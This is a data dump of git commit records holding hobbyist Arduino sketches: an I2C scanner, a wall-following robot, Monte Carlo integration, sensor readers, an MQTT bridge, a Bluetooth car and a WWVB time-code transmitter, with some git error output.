Scanner.\n","repos":"lincanbin\/Arduino-Location-Based-Environment-Detector-Client,lincanbin\/Arduino-Location-Based-Environment-Detector-Client","old_file":"I2CScanner\/I2CScanner.ino","new_file":"I2CScanner\/I2CScanner.ino","new_contents":"\/\/Below program comes from http:\/\/www.geek-workshop.com\/thread-287-1-1.html\n\/\/According to that page I have fiexed some bugs :\n\/\/ 1. \" rc = twi_writeTo(addr, &data, 0, 1);\"\n\/\/ 2. addr = addr<<1; This line should be removed\n\/\/ I have tested below code with my I2C LCD.\n\n#include \"Wire.h\"\nextern \"C\" {\n#include \"utility\/twi.h\" \/\/ from Wire library, so we can do bus scanning\n}\n\nbyte start_address = 1;\nbyte end_address = 127;\n\n\/\/ Scan the I2C bus between addresses from_addr and to_addr.\n\/\/ On each address, call the callback function with the address and result.\n\/\/ If result==0, address was found, otherwise, address wasn't found\n\/\/ (can use result to potentially get other status on the I2C bus, see twi.c)\n\/\/ Assumes Wire.begin() has already been called\nvoid scanI2CBus(byte from_addr, byte to_addr, \n void(*callback)(byte address, byte result) ) \n{\n byte rc;\n byte data = 0; \/\/ not used, just an address to feed to twi_writeTo()\n for( byte addr = from_addr; addr <= to_addr; addr++ ) {\n rc = twi_writeTo(addr,&data,0,1,1);\n if(rc==0) callback( addr, rc );\n }\n}\n\n\/\/ Called when address is found in scanI2CBus()\n\/\/ Feel free to change this as needed\n\/\/ (like adding I2C comm code to figure out what kind of I2C device is there)\nvoid scanFunc( byte addr, byte result ) {\n Serial.print(\"addr: \");\n Serial.print(addr,DEC);\n \/\/ZT Debug addr = addr<<1;\n Serial.print(\"\\t HEX: 0x\");\n Serial.print(addr,HEX);\n Serial.println( (result==0) ? \"\\t found!\":\" \");\n\/\/ Serial.print( (addr%4) ? \"\\t\":\"\\n\");\n}\n\n\/\/ standard Arduino setup()\nvoid setup()\n{\n pinMode(13,OUTPUT);\n Wire.begin();\n\n Serial.begin(9600);\n Serial.println(\"--- I2C Bus Scanner Test ---\");\n Serial.print(\"starting scanning of I2C bus from \");\n Serial.print(start_address,DEC);\n Serial.print(\" to \");\n Serial.print(end_address,DEC);\n Serial.println(\"...\");\n Serial.println();\n\n \/\/ start the scan, will call \"scanFunc()\" on result from each address\n scanI2CBus( start_address, end_address, scanFunc );\n\n Serial.print(\"\\n\");\n Serial.println(\"--- I2C Bus Scanner Complete ---\");\n\n digitalWrite(13,HIGH); delay(500); digitalWrite(13,LOW); delay(500);\n digitalWrite(13,HIGH); delay(500); digitalWrite(13,LOW); delay(500);\n digitalWrite(13,HIGH); delay(500); digitalWrite(13,LOW); delay(500);\n}\n\nvoid loop() \n{\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'I2CScanner\/I2CScanner.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f5cdd0ba51fe7b67d7596b1f0838cbcccf00e142","subject":"Codigo","message":"Codigo\n\nCodigo do Arduino","repos":"faidertms\/ControleDigital","old_file":"SeguidorDeParede.ino","new_file":"SeguidorDeParede.ino","new_contents":"\n #include <Servo.h>\n \n Servo rodaDireita;\n Servo rodaEsquerda;\n \n int echoFrontal = 2;\n int trigFrontal = 3;\n int echoLateral = 8;\n int trigLateral = 7;\n \n \n void setup() {\n \/\/ configura pino GATILHO como sa\u00c3\u00adda\n pinMode(trigFrontal,OUTPUT); \n pinMode(echoFrontal,INPUT);\n pinMode(trigLateral,OUTPUT);\n pinMode(echoLateral,INPUT);\n digitalWrite(trigFrontal,LOW);\n digitalWrite(trigLateral,LOW);\n rodaEsquerda.attach(5);\n delay(1);\n rodaDireita.attach(6);\n rodaEsquerda.write(90);\n rodaDireita.write(90);\n \/\/ configura pino ECHO como entrad\n}\nint dispararPulso (int pinEcho, int pinTrig){\n float tempo;\n \/\/ disparar pulso ultrass\u00c3\u00b4nico\n \n digitalWrite(pinTrig, HIGH);\n delayMicroseconds(10);\n digitalWrite(pinTrig, LOW);\n \/\/ medir tempo de ida e volta do pulso ultrass\u00c3\u00b4nico\n tempo = pulseIn(pinEcho, HIGH,4200);\n return tempo;\n}\n\nint calcularDistancia (int pinEcho, int pinTrig){\n return dispararPulso(pinEcho,pinTrig)\/29.4\/2;\n}\n\nvoid esquerda(int velocidade,int velocidade2){\n rodaEsquerda.write((90-velocidade));\n rodaDireita.write((90-velocidade2));\n \n}\nvoid direita(int velocidade, int velocidade2){\n rodaEsquerda.write((90+velocidade));\n rodaDireita.write((velocidade2));\n \n}\nvoid frente(int velocidade, int velocidade2){\n rodaEsquerda.write((90+velocidade));\n rodaDireita.write((90-velocidade2));\n \n}\nint distancia;\nint ultimaDistancia;\nint erro,x,y,dt;\nint kd=10,kp=1;\nfloat i,ki = 0.001;\nint cons = 15;\nvoid definirErro(int setPoint){\n distancia = calcularDistancia(echoLateral,trigLateral);\n if(distancia > 0){\n ultimaDistancia = distancia;\n erro = setPoint - distancia;\n i += (erro*dt*ki);\n x = cons + ((erro*kp) + (kd*(distancia - ultimaDistancia)\/dt) + i);\n y = cons - ((erro*kp) + (kd*(distancia - ultimaDistancia)\/dt) + i);\n }\n}\nint temp ;\nint tempFinal = millis();\nvoid calcularTempo(){\n temp = tempFinal;\n tempFinal = millis();\n dt = (tempFinal - temp);\n}\n\nvoid loop() {\n calcularTempo();\n \/\/Serial.println(calcularDistancia(echoFrontal,trigFrontal));\n \/\/Serial.println(calcularDistancia(echoLateral,trigLateral));\n definirErro(20);\n frente(y,x);\n\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SeguidorDeParede.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"941c9def1a37df29410dde955bae9f6b983e5734","subject":"add source code for version that does not use Entropy.h","message":"add source code for version that does not use Entropy.h\n","repos":"amdrwe\/MonteCarlo,amdrwe\/MonteCarlo","old_file":"monte_carlo_integration\/monte_carlo_integration.ino","new_file":"monte_carlo_integration\/monte_carlo_integration.ino","new_contents":"#include <StackList.h>\/\/need a stack to evaluate our expression; easier than writing an infix parser or doing it myself. bog-standard stack implemented using linked list\n\nunsigned long g_last_random; \/\/ last random value\n\/\/i dont know why i'm doing this on an arduino, but the due is kinda neat for math stuff like this\n\/\/don't bother trying this on anything but a 32-bit board (e.g. the Due); the loss of precision from floats would be egregious in addition to the considerably slower clock speed et al.\nvoid setup() {\n Serial.begin(9600);\n init_real_random();\n monte_carlo_integrate(\"x2^\", 0, 10, 5000000, 1);\n}\nvoid loop(){ }\n\/\/expression must be postfix, at current time only supports one digit numbers and one variable [a-zA-z]\n\/\/lower_bound is self explanatory, as is upper_bound\n\/\/counter is a number specifying how many times you want to put a point in the box, basically. It's a long in case you want to do more than max_int calculations (recommended)\n\/\/I found good results with 100,000 to 200,000 iterations; be warned that beyond that it takes a _very_ long time to calculate the result (or at least more time than I was willing to wait)\n\/\/interval is the delta used for finding the approximate max value of the function over the interval; 0.01 is probably a good place to start\ndouble monte_carlo_integrate(String expression, int lower_bound, int upper_bound, long counter, double interval){\n Serial.print(\"Doing Monte Carlo integration of \");\n Serial.println(expression);\n Serial.print(\"Lower bound: \");\n Serial.println(lower_bound);\n Serial.print(\"Upper bound: \");\n Serial.println(upper_bound);\n Serial.print(\"Check count: \");\n Serial.println(counter);\n int hits = 0;\n Serial.print(\"Finding approx max: \");\n double approx_max = find_max(expression, interval, lower_bound, upper_bound); \n Serial.println(approx_max);\n for (long i = 0; i < counter; i++) {\n double rand_x;\n do{\n rand_x = random_number() * upper_bound; \n } \n while (rand_x < lower_bound);\n double rand_y = random_number() * approx_max;\n\n double result = postfix_eval(expression, rand_x);\n if (rand_y <= result){\n hits++;\n }\n }\n Serial.print(\"hits: \"); \n Serial.println(hits);\n Serial.print(\"total number of attempts: \"); \n Serial.println(counter);\n double proportion = (double(hits)\/double(counter));\n Serial.print(\"Proportion of hits: \"); \n Serial.println(proportion,5);\n double box_area = ((upper_bound - lower_bound) * approx_max);\n Serial.print(\"Area of rectangle: \"); \n Serial.println(box_area, 5);\n double estimated_result = proportion * box_area;\n Serial.print(\"Estimated result: \"); \n Serial.println(estimated_result,5);\n return estimated_result;\n}\n\ndouble postfix_eval(String expression, double var){ \/\/use a stack to evaluate a postfix expression. var is what it will put on the stack if it finds a character other than an operator or a digit.\n double y;\n double y1;\n double y2;\n StackList<double> stack;\n char ch;\n for (int i = 0; i < expression.length(); i++){\n ch = expression.charAt(i);\n if(ch>='a'&&ch<='z'||ch>='A'&&ch<='Z')\n {\n stack.push(var);\n } \n else\n if(ch >= '0' && ch <= '9'){\n stack.push(ch - 48);\n } \n else \n if(ch == '+' || ch == '-' || ch == '*' || ch == '\/' || ch == '^')\n { \n y2 = stack.pop();\n y1 = stack.pop();\n if(ch == '+')\n {\n y = y1 + y2;\n stack.push(y);\n }\n if(ch == '-')\n {\n y = y1 - y2;\n stack.push(y);\n }\n if(ch == '^')\n {\n y = pow(y1, y2); \/\/^ is the bitwise xor op for some asinine reason, so pow is used. returns a double so no loss of precision.\n stack.push(y);\n }\n if(ch == '*')\n {\n y = y1 * y2;\n stack.push(y);\n }\n if(ch=='\/')\n {\n y = y1 \/ y2;\n stack.push(y);\n } \n }\n }\n double r = stack.pop();\n return r;\n}\n\ndouble find_max(String expression, double interval, int lower_bound, int upper_bound){ \/\/find the max value so we have a vertical size for our box\n double return_this = 0;\n double current_val = lower_bound;\n double temp;\n while (current_val <= upper_bound){\n temp = postfix_eval(expression, current_val);\n if(temp >= return_this){\n return_this = temp;\n }\n current_val+=interval;\n }\n return return_this;\n}\n\n\nvoid init_real_random()\/\/initialize our prng\n{\n g_last_random = millis();\/\/reasonably random seed; not perfect but better than the godawful builtin random algo\n}\n\ndouble random_number() \/\/random() (the default arduino prng) is a pos, this provides more \"random\" results and also returns a double between 0 and 1, which is more useful\n{\n unsigned long temp;\n temp = 663608941*g_last_random; \/\/multiply a big number by our last random number\n g_last_random = temp; \/\/new random\n return(((double)temp)\/((double)4294967295)); \/\/make it a small number; this is essentially a prototypical prng but other implementations (i.e. seed based on a0 voltage) didn't pan out\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'monte_carlo_integration\/monte_carlo_integration.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"6fdaefe08e28dff69fb1ab7c91c7b808284b4952","subject":"added start of 433 recieving code","message":"added start of 433 recieving code\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4db3bb3a2a0ed0c04625373a8d0e0eb951e88002","subject":"Gyro L3G4200D","message":"Gyro L3G4200D\n","repos":"yehnan\/arduino_practices,yehnan\/arduino_practices,yehnan\/arduino_practices","old_file":"gyro_L3G4200D\/gyro_L3G4200D.ino","new_file":"gyro_L3G4200D\/gyro_L3G4200D.ino","new_contents":"#include <Wire.h>\r\n#include <L3G.h>\r\n\r\nL3G gyro;\r\n\r\nvoid setup(){\r\n Serial.begin(9600);\r\n Wire.begin();\r\n\r\n if(!gyro.init()){\r\n Serial.println(\"Failed to autodetect gyro type!\");\r\n while(1)\r\n ;\r\n }\r\n\r\n gyro.enableDefault();\r\n}\r\n\r\nchar aa1;\r\n\r\nvoid loop(){\r\n gyro.read();\r\n\r\n Serial.print(\"G \");\r\n Serial.print(\"X: \");\r\n Serial.print((int)gyro.g.x);\r\n Serial.print(\" Y: \");\r\n Serial.print((int)gyro.g.y);\r\n Serial.print(\" Z: \");\r\n Serial.println((int)gyro.g.z);\r\n\r\n delay(500);\r\n}\r\n\r\nchar bb1;\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gyro_L3G4200D\/gyro_L3G4200D.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"56a17d5c0c9efc16a01cc0e144f919d590449dcb","subject":"New Sketch: isReceive","message":"New Sketch: isReceive\n\nFix https:\/\/github.com\/gmacario\/learning-arduino\/issues\/36\n\nSigned-off-by: Gianpaolo Macario <f8885408b8c3d931b330bae3c3a28a3af912c463@gmail.com>\n","repos":"gmacario\/learning-arduino","old_file":"Sketches\/irReceive\/irReceive.ino","new_file":"Sketches\/irReceive\/irReceive.ino","new_contents":"#include <IRremote.h> \n \nconst int irReceiverPin = 2; \nconst int ledPin = 13;\n \n\/\/IRrecv irrecv(irReceiverPin); \nextern IRrecv irrecv;\nextern decode_results results; \n \nvoid setup()\n{\n pinMode(ledPin,OUTPUT);\n Serial.begin(115200); \n irrecv.enableIRIn(); \n}\n \nvoid loop() \n{\n if (irrecv.decode(&results)) { \n Serial.print(\"irCode: \"); \n Serial.print(results.value, HEX); \n Serial.print(\", bits: \"); \n Serial.println(results.bits); \n irrecv.resume(); \n } \n delay(600); \n if(results.value == 0xFFA25D)\n {\n digitalWrite(ledPin,HIGH);\n }\n else\n {\n digitalWrite(ledPin,LOW);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/irReceive\/irReceive.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"50bd49421421377f92becd02c4ff4fdb0bafeb9b","subject":"initial version of 433 to mqtt bridge for esp","message":"initial version of 433 to mqtt bridge for esp\n","repos":"mhdawson\/arduino-esp8266,mhdawson\/arduino-esp8266","old_file":"Mqtt433Bridge\/Mqtt433Bridge.ino","new_file":"Mqtt433Bridge\/Mqtt433Bridge.ino","new_contents":"\/\/ Copyright 2016 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include \"WirelessConfig.h\"\n#include \"Device2262n.h\"\n#include \"MqttBridge.h\"\n#include \"RXCore433.h\"\n\n#define RX_433_PIN D4\n\nIPAddress server(mqttServer[0], mqttServer[1],\n mqttServer[2], mqttServer[3]);\n\nWiFiClient wclient;\nESP8266WiFiGenericClass wifi;\nPubSubClient client(wclient, server);\nMqttBridge bridge(&client, \"house\/esp\");\n\nRXCore433 receiver(RX_433_PIN);\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Started\\n\");\n\n Device2262n* device2262 = new Device2262n(200,50,4);\n device2262->registerMessageHandler(&bridge);\n receiver.registerDevice(device2262);\n\n \/\/ turn of the Access Point as we are not using it\n wifi.mode(WIFI_STA);\n}\n\nvoid loop() {\n delay(2000);\n\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.print(ssid);\n Serial.println(\"...\");\n WiFi.begin(ssid, pass);\n \n if (WiFi.waitForConnectResult() != WL_CONNECTED) {\n return;\n Serial.println(\"WiFi connected\");\n }\n }\n \n if (!client.connected()) {\n if (client.connect(\"arduinoClient\")) {\n }\n }\n\n receiver.handleMessage();\n\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mqtt433Bridge\/Mqtt433Bridge.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"74ef77528618f03481e46091ef7ab02bce75fd52","subject":"board\/: Add .ino board","message":"board\/: Add .ino board\n","repos":"RAD-IC\/hack-sheffield,RAD-IC\/hack-sheffield,RAD-IC\/hack-sheffield,RAD-IC\/hack-sheffield,RAD-IC\/hack-sheffield,RAD-IC\/hack-sheffield","old_file":"board\/arduino\/arduino.ino","new_file":"board\/arduino\/arduino.ino","new_contents":"#include <Servo.h>\n#include <time.h>\n#include <stdlib.h>\n\n\/* threshold for updates.\n Applies to both servo Motor communiction ans Serial port. *\/\n#define updateMilliThreshold 100\n\n\/* General global value definitions *\/\n#define ARDUINO_ID 201\n#define C_ID 200\n#define BUFFER_DATA_LENGTH 5\n#define BAUDRATE 9600\n\nlong updateTime = 0;\n\n\/* Main setup loop for BAoBOS. *\/\nvoid setup() {\n \/* Begin communication over Serial Port with a baud\n rate of 9600*\/\n Serial.begin(BAUDRATE);\n}\n\n\/* Main Arduino loop *\/\nvoid loop() {\n \/* Temporary bool to handle serial port writing. By default set to\n true, will be invalidated should the write speed be faster than a\n given threshold *\/\n bool writeToSerial = true;\n\n \/* Retrieve the mmilliseconds elapsed since the beginning of the\n sessioon. *\/\n long curMillis = millis();\n\n \/* Trigger every updateMilliThreshold *\/\n if (!(curMillis - updateTime >= updateMilliThreshold)) {\n \/* Prevent writing to serial to avoid serial port data overflow *\/\n writeToSerial = false;\n }\n\n \/* Wait for 6 bytes of data to have been sent over serial *\/\n if (Serial.available() >= BUFFER_DATA_LENGTH + 1) {\n \/* Peek at the first byte to determine if it's a valid read ID *\/\n uint8_t peekVal = Serial.peek();\n\n \/* ID of 200 is used by BAoBUI *\/\n if (peekVal == C_ID) {\n \/* Read the servoAngles *\/\n Serial.read();\n\n for (int i = 0; i < BUFFER_DATA_LENGTH; i++) {\n uint8_t data = (uint8_t) Serial.read();\n\n \/\/ TODO: Do something with data\n }\n\n \/* Force a reply *\/\n writeToSerial = true; \n } else {\n Serial.read();\n }\n }\n\n \/* When it is possible to reply to serial *\/\n if (writeToSerial) {\n \/* Identification byte *\/\n Serial.write(ARDUINO_ID);\n\n for (int i = 0; i < BUFFER_DATA_LENGTH; i++) {\n Serial.write((uint8_t) 0);\n\n \/\/ TODO: Instead of writing zero, write something else\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'board\/arduino\/arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aa7fd16227ffbef6765a1c2968809881c689e39f","subject":"Initial Arduino code samples","message":"Initial Arduino code samples\n","repos":"RoyalFort\/BluetoothBot,RoyalFort\/BluetoothBot,RoyalFort\/BluetoothBot,RoyalFort\/BluetoothBot","old_file":"Arduino\/btCarBot\/btCarBot.ino","new_file":"Arduino\/btCarBot\/btCarBot.ino","new_contents":"#include <SoftwareSerial.h>\n \nSoftwareSerial mySerial(2, 3); \/\/ RX, TX\n\nconst int leftFwd = 9; \/\/ green\nconst int leftRev = 10; \/\/ blue\nconst int rightFwd = 5; \/\/ grey\nconst int rightRev = 6; \/\/ purple\n\nboolean ran = false;\nbyte velocity = 255;\n\nvoid setup() \n{\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n Serial.println(\"Start your engines!\");\n\n \/\/ set the data rate for the SoftwareSerial port\n mySerial.begin(9600);\n mySerial.println(\"Hello, world?\");\n}\n\nvoid loop() \/\/ run over and over\n{\n byte b = 0;\n if (mySerial.available())\n b = mySerial.read();\n \n if (b != 0)\n Serial.write(b);\n else\n return;\n\n \/\/ Not connected right now\n \/*if (Serial.available())\n mySerial.write(Serial.read());*\/\n \n int commandDelay = 20;\n switch (b)\n {\n case 'F':\n case 'w':\n Serial.println(\"Forward\");\n analogWrite(leftFwd, velocity);\n analogWrite(rightFwd, velocity);\n delay(commandDelay);\n analogWrite(leftFwd, 0);\n analogWrite(rightFwd, 0);\n break;\n case 'B':\n case 's':\n Serial.println(\"Backward\");\n analogWrite(leftRev, velocity);\n analogWrite(rightRev, velocity);\n delay(commandDelay);\n analogWrite(leftRev, 0);\n analogWrite(rightRev, 0);\n break;\n case 'L':\n case 'a':\n Serial.println(\"Left\");\n analogWrite(leftRev, velocity);\n analogWrite(rightFwd, velocity);\n delay(commandDelay);\n analogWrite(leftRev, 0);\n analogWrite(rightFwd, 0);\n break;\n case 'R':\n case 'd':\n Serial.println(\"Right\");\n analogWrite(leftFwd, velocity);\n analogWrite(rightRev, velocity);\n delay(commandDelay);\n analogWrite(leftFwd, 0);\n analogWrite(rightRev, 0);\n break;\n default:\n Serial.print(\"Set speed: \");\n Serial.println(b);\n if (b > 0 && b < 255)\n velocity = b;\n break;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/btCarBot\/btCarBot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2baea56700dc07f022042a934362f5a45ffbe06c","subject":"USE string table for program memory","message":"USE string table for program memory\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a329d42698d1cf039c7ef72fc680c3f4e92fc90e","subject":"Added RTC support","message":"Added RTC support\n\nAdded an RTC for time keeping","repos":"Tomo-\/Arduino-Tortoise-Habitat-Controller","old_file":"Tortoise-Habitat-Controller.ino","new_file":"Tortoise-Habitat-Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Tomo-\/Arduino-Tortoise-Habitat-Controller.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d555500ba7bf0451e36e1c53a902879916657a1b","subject":"* Add AD9850 example","message":"* Add AD9850 example\n","repos":"micooke\/wwvb_jjy,micooke\/wwvb_jjy","old_file":"examples\/AD9850_WWVB_tx\/AD9850_WWVB_tx.ino","new_file":"examples\/AD9850_WWVB_tx\/AD9850_WWVB_tx.ino","new_contents":"\/\/ +--------+\n\/\/ | millis |\n\/\/+------------+---+--------+--------+--------+--------+--------+\n\/\/| Chip | | Timer0 | Timer1 | Timer2 | Timer3 | Timer4 |\n\/\/+------------+---+--------+--------+--------+--------+--------+\n\/\/| ATmega328p | A | D6 | M=D9 | D12 | -- | -- |\n\/\/| | B | D5 | D10 | C=D3 | -- | -- |\n\/\/+------------+---+--------+--------+--------+--------+--------+\n\/\/| ATmega32u4 | A | D11 | C=D9 | -- | M=D5 | D13 |\n\/\/+------------+---+--------+--------+--------+--------+--------+\n\/\/ C = carrier pin\n\/\/ M = modulation pin\n \n#define _DEBUG 1\n\n\/\/#define WWVB_TIMECODE 0 \/\/ JJY\n\n\/\/#define WWVB_JJY_PAM\n\n\/\/#define WWVB_JJY_MILLIS_ISR\n\n#define DEFINE_TIMEDATETOOLS\n\n#include <TimeLib.h> \/\/https:\/\/github.com\/PaulStoffregen\/Time\n#include <wwvb_jjy.h>\n#include <AD9850.h>\n\nconst int W_CLK_PIN = 7;\nconst int FQ_UD_PIN = 8;\nconst int DATA_PIN = 10;\nconst int RESET_PIN = 11;\n\ndouble freq = 60000;\ndouble trimFreq = 124999500;\n\nint phase = 0;\n\nvoid setup()\n{\n#if (_DEBUG > 0)\n Serial.begin(9600);\n Serial.println(F(\"<setup>\"));\n#endif\n\n \/\/wwvb_jjy.set_time(__DATE__, __TIME__);\n wwvb_jjy.set_time(8, 43, 00, 7, 2, 05);\n \n wwvb_jjy.init(); \/\/ default : (isJJY, carrier_Hz) = (false, 60000) - wwvb @ 60kHz\n \n DDS.begin(W_CLK_PIN, FQ_UD_PIN, DATA_PIN, RESET_PIN);\n DDS.calibrate(trimFreq);\n DDS.down();\n\n#ifndef WWVB_JJY_MILLIS_ISR\n #if defined(__AVR_ATmega168__) | defined(__AVR_ATmega168P__) | defined(__AVR_ATmega328P__)\n pwm.attachInterrupt(1, 'o', DDS_overflow_ISR);\n pwm.attachInterrupt(1, 'a', DDS_compare_ISR);\n #elif defined(__AVR_ATmega16U4__) | defined(__AVR_ATmega32U4__)\n pwm.attachInterrupt(3, 'o', DDS_overflow_ISR);\n pwm.attachInterrupt(3, 'a', DDS_compare_ISR);\n #endif\n#endif\n\n \/\/wait for a minute to start\n \/\/while(second() > 0);\n \n wwvb_jjy.start();\n \n \/\/wwvb_jjy.print_timecode();\n wwvb_jjy.print_timecode_serial();\n \n#if (_DEBUG > 0)\n Serial.println(F(\"<\/setup>\"));\n#endif\n}\n\nvoid loop()\n{\n \/\/ print the timecode serial every minute\n if (wwvb_jjy.is_updated())\n {\n \/\/wwvb_jjy.set_time(12, mins, 00, 28, 3, 17);\n \/\/wwvb_jjy.print_timecode();\n wwvb_jjy.print_timecode_serial();\n }\n \n #if defined(WWVB_JJY_MILLIS_ISR)\n \/\/ the main loop is used to call the ISR without a timer (uses calls to millis())\n wwvb_jjy.wwvb_jjy_millis_ISR(); \n #endif\n}\n\nstatic void DDS_compare_ISR()\n{\n wwvb_jjy.output_state = WWVB_TIMECODE;\n \n #if (WWVB_JJY_PULSE_LED)\n digitalWrite(LED_BUILTIN, wwvb_jjy.output_state);\n #endif\n \n if (wwvb_jjy.output_state)\n {\n DDS.setfreq(freq, phase);\n }\n else\n {\n DDS.down();\n }\n}\n\nstatic void DDS_overflow_ISR()\n{\n wwvb_jjy.output_state = !WWVB_TIMECODE;\n \n #if (WWVB_JJY_PULSE_LED)\n digitalWrite(LED_BUILTIN, wwvb_jjy.output_state);\n #endif\n\n if (wwvb_jjy.output_state)\n {\n DDS.down();\n }\n else\n {\n DDS.setfreq(freq, phase);\n }\n \n const uint8_t chip = wwvb_jjy.get_timecode(wwvb_jjy.WWVB_JJY_TIMECODE_INDEX);\n \n ++wwvb_jjy.WWVB_JJY_TIMECODE_INDEX; \/\/ increment the TIMECODE INDEX\n \n if (wwvb_jjy.WWVB_JJY_TIMECODE_INDEX == 1)\n {\n wwvb_jjy.timecode_isnew = false;\n }\n \/\/ increment the TIMECODE index\n else if (wwvb_jjy.WWVB_JJY_TIMECODE_INDEX > 59)\n {\n wwvb_jjy.WWVB_JJY_TIMECODE_INDEX = 0;\n \n wwvb_jjy.set_timecode(); \/\/ sync the timecode to the current time\n wwvb_jjy.timecode_isnew = true;\n } \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AD9850_WWVB_tx\/AD9850_WWVB_tx.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"635e1a5a2d502aa9ea6309961da0abeed1e9ab60","subject":"New example with temperature sensing.","message":"New example with temperature sensing.\n\ngit-svn-id: 59b6b80b3f28683e9a006dffc41d8db225db1926@47 ed0607b5-9f2d-40cd-ad1e-287a16c2e87a\n","repos":"cnobile2012\/HCSR04Ultrasonic,cnobile2012\/HCSR04Ultrasonic","old_file":"examples\/UltrasonicTemp\/UltrasonicTemp.ino","new_file":"examples\/UltrasonicTemp\/UltrasonicTemp.ino","new_contents":"\/*\n * HCSR04Ultrasonic\/examples\/UltrasonicTemp\/UltrasonicTemp.ino\n *\n * SVN Keywords\n * ----------------------------------\n * $Author: $\n * $Date: $\n * $Revision: $\n * ----------------------------------\n *\/\n\n#include <Ultrasonic.h>\n#include <OneWire.h>\n\n\ntypedef enum {\n SUCCESS,\n SEARCH_ERROR,\n CRC_ERROR,\n DEVICE_ERROR,\n UNKNOWN_ERROR\n} TemperatureCodes;\n\n\n#define TEMP_PIN 10\n#define DS18S20_ID 0x10\n#define DS18B20_ID 0x28\n\nfloat temp;\nOneWire ds(TEMP_PIN);\n\n\nint getTemperature(void) {\n byte present = 0;\n byte data[12];\n byte addr[8];\n TemperatureCodes result = SUCCESS;\n\n \/\/ Find a device\n if(ds.search(addr)) {\n if(OneWire::crc8(addr, 7) == addr[7]) {\n if(addr[0] == DS18S20_ID || addr[0] == DS18B20_ID) {\n ds.reset();\n ds.select(addr);\n \/\/ Start conversion\n ds.write(0x44, 1);\n \/\/ Wait some time...\n delay(850);\n present = ds.reset();\n ds.select(addr);\n \/\/ Issue Read scratchpad command\n ds.write(0xBE);\n\n \/\/ Receive 9 bytes\n for(byte i = 0; i < 9; i++) {\n data[i] = ds.read();\n }\n\n \/\/ Calculate temperature value\n temp = ((data[1] << 8) + data[0]) * 0.0625;\n } else {\n result = DEVICE_ERROR;\n }\n } else {\n result = CRC_ERROR;\n }\n } else {\n result = SEARCH_ERROR;\n }\n\n ds.reset_search();\n return result;\n}\n\n\n#define TRIGGER_PIN 12\n#define ECHO_PIN 13\n\n#define NUMBER_BUFFERS 3\n#define BUFFER_SIZE 3\n\n#define BUFFER_01 0\n#define BUFFER_02 1\n#define BUFFER_03 2\n\/\/ The max distance to read.\n#define MAX_CM_DISTANCE\t400\n\/\/ Set multiplier, used to correct the non-linear result from the sensor.\n#define MULTIPLIER 1.0905\n\n\/*\n * The constructors needs to be passed arguments for the trigger pin and\n * echo pin.\n *\/\nUltrasonic ultrasonic(TRIGGER_PIN, ECHO_PIN);\nbool disableSD = false;\n\n\/\/ Only run 50 time so we can re-burn the code easily.\n#define CYCLES 50\nsize_t count = 0;\n\nvoid setup()\n {\n Serial.begin(9600);\n Serial.println(\"Starting Ultrasonic Test using standard deviation ...\");\n \/\/ The multiplier must be a float.\n ultrasonic.setMultiplier(MULTIPLIER);\n \/\/ The maximum distance that will be detected.\n ultrasonic.setMaxDistance(MAX_CM_DISTANCE);\n\n \/*\n * If NUMBER_BUFFERS is 2 then it must be followed by two size variables\n * one for each buffer to be created. The size variables do not need to be\n * the same value.\n *\n * Example: ultrasonic.sampleCreate(3, 20, 10, 3) is valid.\n *\n * Note: The minimum size for any buffer is 2. 